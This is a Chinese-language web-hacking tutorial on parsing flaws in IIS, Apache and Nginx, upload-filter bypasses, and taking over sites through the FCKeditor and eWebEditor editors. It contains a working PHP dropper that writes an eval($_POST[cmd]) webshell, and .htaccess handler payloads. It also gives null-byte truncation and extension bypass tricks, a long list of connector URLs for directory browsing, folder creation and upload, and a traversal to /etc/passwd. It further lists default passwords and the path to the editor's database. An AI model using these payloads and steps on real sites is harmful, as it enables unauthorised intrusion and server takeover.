三种常见中间件的解析漏洞(IIS,apache,nginx)
文件解析漏洞:一些特殊文件被iis,apache,nginx在某种情况下解释成脚本文件格式的漏洞。
1.IIS解析漏洞
IIS常见版本
6.0 一般windows server 2003
7.0/7.5 一般windows server 2008
8.0/8.5 一般windows server 2012
10.0 一般windows server 2016
IIS5.X/6.0解析漏洞(两种利用方法)
1.目录解析 /xx.asp/xx.jpg
在网站下建立文件夹名字为.asp .asa的文件夹,其目录内的任何扩展名的文件都被IIS当成asp文件来解析执行。
目录解析一般是配合编辑器进行使用,如ckfinder, fck
2.文件解析 ly.asp;.jpg
在IIS6.0下,服务器默认不解析分号后面的内容,因此该文件被当作asp文件解析。
IIS6.0下默认的可执行文件除了asp还包含asa,cer,cdx
Asa在IIS7.0,7.5也可以。Cer在7.0下有的可以有的不行。
IIS7.0/IIS7.5/Nginx<8.03畸形解析漏洞
在Fast-CGI开启状态下,可以上传一个例如ly.jpg,内容为
1 | <?php fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?> |
的文件。然后访问ly.jpg/.php,在这个目录下就会生成一句话木马shell.php
注意:只要是IIS的支持PHP的都可以在图片后面加/.php看是否能运行。Iis7.5 /10.0都可能会被执行。这个漏洞准确的说不是中间件的漏洞,而是PHP的解析漏洞。
2.Apache解析漏洞
x.php.zz x.php.
apache是从右往左开始判断解析,如果为不可识别解析,就再往左判断。比如x.php.zz,因为后缀是”.zz”不可被apache识别解析,所以会再往左解析,将该文件解析为x.php
htaccess文件解析漏洞
如果在Apache中.htaccess可被执行,且可以被上传,那可以尝试在.htaccess中写入:
1 | <FilesMatch “x.jpx”>SetHandler application/x-httpd-php</FilesMatch> |
,然后再上传shell.jpx的木马,这样shell.jpx就可以解析为php文件。
注意:如果上面后缀名是jpg,那么网页所有的jpg图片都会被当作php解析,会导致原有图片出错。
3.Nginx解析漏洞
(Nginx在高并发上性能优于Apache很多)
Nginx<8.03空子节代码执行漏洞
Nginx在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码。这种会很容易报错,但在burp抓包改包的时候可以这样写一下。Get方式提交自动截断,post方式提交手动截断,在抓包中把%00全选,ctr+shift+u手动截断。
IIS7.0/IIS7.5/Nginx<8.03畸形解析漏洞
在Fast-CGI开启状态下,可以上传一个例如ly.jpg,内容为
1 | <?php fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?> |
的文件。然后访问ly.jpg/.php,在这个目录下就会生成一句话木马shell.php
文件上传绕过技巧
服务器命名规则
第一种类型:上传文件名和服务器命名一致
第二种类型:上传文件名和服务器命名不一致(随机,时间日期命名等)
常见的上传检测方式
1.客户端javascript检测(通常为检测文件扩展名)
一、首先判断是否为JS本地验证
如果浏览器页面没有刷新或者打开burp抓包没有抓到包就已经有验证结果即可证明为前端JS本地验证。
二、绕过方法
(1).先上传符合要求的文件名如xx.jpg,再用burp抓包改包改成xx.php
(2).使用firebug等直接删除掉本地验证的JS代码,如删除点提交点击事件触发的验证函数代码。
(3).将PHP等需要用到的后缀名添加到JS验证的白名单中
2.服务端MIME类型检测(检测Content-Type内容)
一、MIME的作用和定义目录:
使客户端软件,区分不同种类的数据,例如WEB浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。
WEB服务器使用MIME来说明发送数据的种类,WEB客户端使用MIME来说明希望接收到的数据种类。
Tomcat的安装目录\conf\web.xml中定义了大量的MIME类型。
Apache的安装目录\conf\mime.types中定义了大量的MIME类型,httpd.conf中也定义了一些特殊的MIME类型。
二、绕过方法:
例:burp抓包后修改Content-Type:image/gif
3.服务端目录路径检测(检测跟path参数相关的内容)
目录路径检测,一般就检测路径是否合法。
补充:韩国很多的网站对脚本没有做限制,不改名,也不限制类型,但是规定好了上传目录的权限,如只有读权限没有执行权限。如果上传的文件没有被改名,可以在文件名前面加../的方式跳出指定目录。往往上一层目录就有执行权限了。
Filepath路径修改绕过(burp抓包后发到repeater中修改)
可以用来突破自动命名规则xxxxx.gif
一、改变文件上传后的路径
/a.asp/ 需要一定的创建权限,成功城建后为/a.asp/xxxxx.gif
二、直接改变文件名称
/a.asp;. 修改后为/a.asp;.xxxxx.gif
4.服务端文件扩展名检测(检测跟文件extension相关的内容)
黑名单检测——安全性比白名单低很多,攻击手法也比白名单多。
绕过方式:
(1)文件名大小写绕过
例如AsP,pHp
(2)名单列表绕过
用名单列表里没有的名单进行攻击,比如黑名单里没有asa或cer之类。
也可以把安全狗不允许的上传后缀名单复制到txt文件中,用burp爆破就可以知道哪些后缀可以被上传。
(3)特殊文件名绕过
比如发送的http包里把文件名改成test.asp.或test.asp_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在burp进行修改,然后绕过验证后,会被windows系统自动去掉后面的.和空格,但要注意unix/linux系统没有这个特性。
(4)0x00截断绕过
目前只遇到过asp的程序有这种漏洞,给个简单的伪代码name=getname(http request)//假如这时候获取到的文件名是test.asp .jpg(asp后面为0x00) ,type=gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg, if(type==jpg)
(5) .htaccess文件攻击配合名单列表绕过。上传一个自定义的.htaccess
(6) 解析调用/漏洞绕过
这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
白名单检测——相对难过很多,但是也不一定绝对安全。
绕过方式:
(1)0x00截断绕过
用像test.asp%00.jpg的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击。
00截断
0x00,%00,/00之类的截断,都是一样的,只是不同表示而已
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制
在需要截断的位置添加了一个空格,空格是为了占位,方便修改00。然后打开hex,(空格的16进制为0x20)修改16进制内容,把20改成00即可。
(2)解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞
.htaccess文件攻击,通过一个.htaccess文件调用php的解析器去解析一个文件名中只要包含“haha”这个字符串的任意文件,所以无论文件名是什么样子,只要包含“haha”这个字符串,都可以被以php的方式来解析。建一个.htaccess文件,里面的内容如下<FilesMatch “haha”>
SetHandler application/x-httpd-php
双文件上传 (老的asp的站如南方,良精,动易……都可能存在双文件上传)
5.服务端文件内容检测(检测内容是否合法或含有恶意代码)
如果文件内容检测设置的比较严格,那么上传攻击将变得非常困难,也可以说它是再代码层检测的最后一道关卡,如果它被突破了,就算没有代码层的漏洞,也给后面利用应用层的解析漏洞带来了机会。
一般用图片马,有waf要求一句话代码能过waf。
绕过二次渲染:
1.攻击函数本身,通过上传不完整图片让其渲染函数暴露,然后攻击之。
2.对文件加载器进行溢出攻击。
怎么看是否被二次渲染:上传一张图片马 ,下载到本地,打开看看如果代码还在就没有被二次渲染。
常见编辑器漏洞
动态的网站后台基本都是有编辑器的,主要利用编辑器的上传按钮辅助拿shell。编辑器因为有一个技术团队维护,所以安全性比很多网站自带的上传按钮高很多,主要是配合解析漏洞来突破。
总体流程:先找编辑器后台或目录,确定编辑器种类和版本,然后百度找对应版本的漏洞利用,一般是配合解析漏洞。
编辑器利用
1.查找编辑器目录
(1)目录扫描
注意目录的递归扫描
一些重点目录:
editor
edit
fckeditor
ewebeditor
admin/editor
upload.asp
upfile.asp
up.html
(2)目录遍历
Awvs
Caidao
Burpsuite
(3)蜘蛛爬行
爬行可以很容易的爬到图片上传等目录,然后可以通过图片上传目录的路径判断编辑器类型。
Ewebeditor通常上传图片目录:
Uploadfiles/2019092512321313131.jpg (以时间戳命名)
Fck通常上传图片目录
Userfile/images/x.jpg
(4)谷歌语法
site: xxx.com inurl:editor
inurl:fckeditor
inurl:ewebeditor
2.漏洞利用
百度相关编辑器漏洞利用
FCKeditor编辑器利用
FCKeditor编辑器页面:
FCKeditor/_samples/default.html
查看文件上传路径:
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
查看FCK版本:
FCKeditor/_whatsnew.html
查看FCK版本:
/editor/dialog/fck_about.html
爆物理路径php:
/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
爆绝对路径aspx
/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx
爆路径:
http:///editor/filemanager/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
JSP上传1
/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector
JSP上传2
/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
目录浏览1
/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp
目录浏览2
/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
目录浏览3
/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
Asp创文件夹1
/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
Asp创文件夹2
/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
Asp创文件夹3
/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp”
上传页面1
/editor/filemanager/browser/default/connectors/test.html
上传页面2
/editor/filemanager/upload/test.html
上传页面3
/editor/filemanager/connectors/test.html
上传页面4
/editor/filemanager/connectors/uploadtest.html
目录浏览3
/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
Joomla fck包含
/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../../../../etc/passwd
上传地址3:
editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
Fck2.4.3如果是iis6.0可以利用编辑器的创建文件夹功能创建一个x.asp目录,然后在该目录下上传图片马,利用目录解析漏洞。也可以上传x.asp;.jpg,利用文件名解析漏洞。如果没有解析漏洞可以上传x.jpg,然后用burp抓包,在.后面加asp%00,然后%00截断。也可以配合之前学习的其他突破方式突破,如前端js,mime等。
Fck2.5遇到点变下划线,先创建x.asp,然后抓包,把第一行当前文件目录修改由根%2F变为%2Fxx.asp,这样只会把文件x.asp点变下划线,文件夹名字被保留。然后再利用解析漏洞上传图片马。 也可以利用二次上次,上传一个文件两次,因为文件名相同,可能会在后面加(1),有的时候代码不严谨,重名后代码没有再把点变下划线,不过这种能成功地概率很低。
Fck2.6高版本的,上传正常图片,抓包,在currentfolder=%2F加a,php%00,上传的时候%00会被自动截断,原来会把文件名放到%2F后面,现在会放到%00后面,然后被自动截断。遇到高版本的可以测试下,有的时候可以成功。
EWEBeditor编辑器利用
ewebeditor/admin_style.asp
ewebeditor有独立登陆后台,因为登陆页面可能会被修改,可以登陆登陆后的页面样式页面,就会跳转到登陆页面。
ewebeditor/admin/login.asp
1.进后台
弱口令:admin admin/ admin 123456/ admin123 admin888……
下载默认数据库:ewebeditor/db/ewebeditor.mdb或ewebeditor/db/%23ewebeditor.mdb
Burp抓包爆破
利用注入点进行注入得到密码
2.修改上传类型/自己添加上传样式-添加上传按钮-上传
在后台修改上传样式如果加入asp需要写aaspsp的形式,因为程序有代码把asp替换为空。通常可以加cer等。修改样式没有提交按钮,可以在页面hmtl编辑中自己手动添加一个提交按钮。也可以新建一个样式。
如果没有后台:
(1)利用目录遍历漏洞,找网站数据库位置下载数据库,登陆网站后台拿shell
(2)利用exp进行拿shell
(3)构造上传
下载ewebeditor数据库,找到ewebeditor_style表,看看有没有可以上传脚本类型的样式,记住对应id,在网站随便找一个上传点,把id替换就可以上传了
其他类型编辑器的利用
(1)ckfinder编辑器
如果是iis6.0,找到编辑器目录,创建.asp子文件夹,用目录解析漏洞上传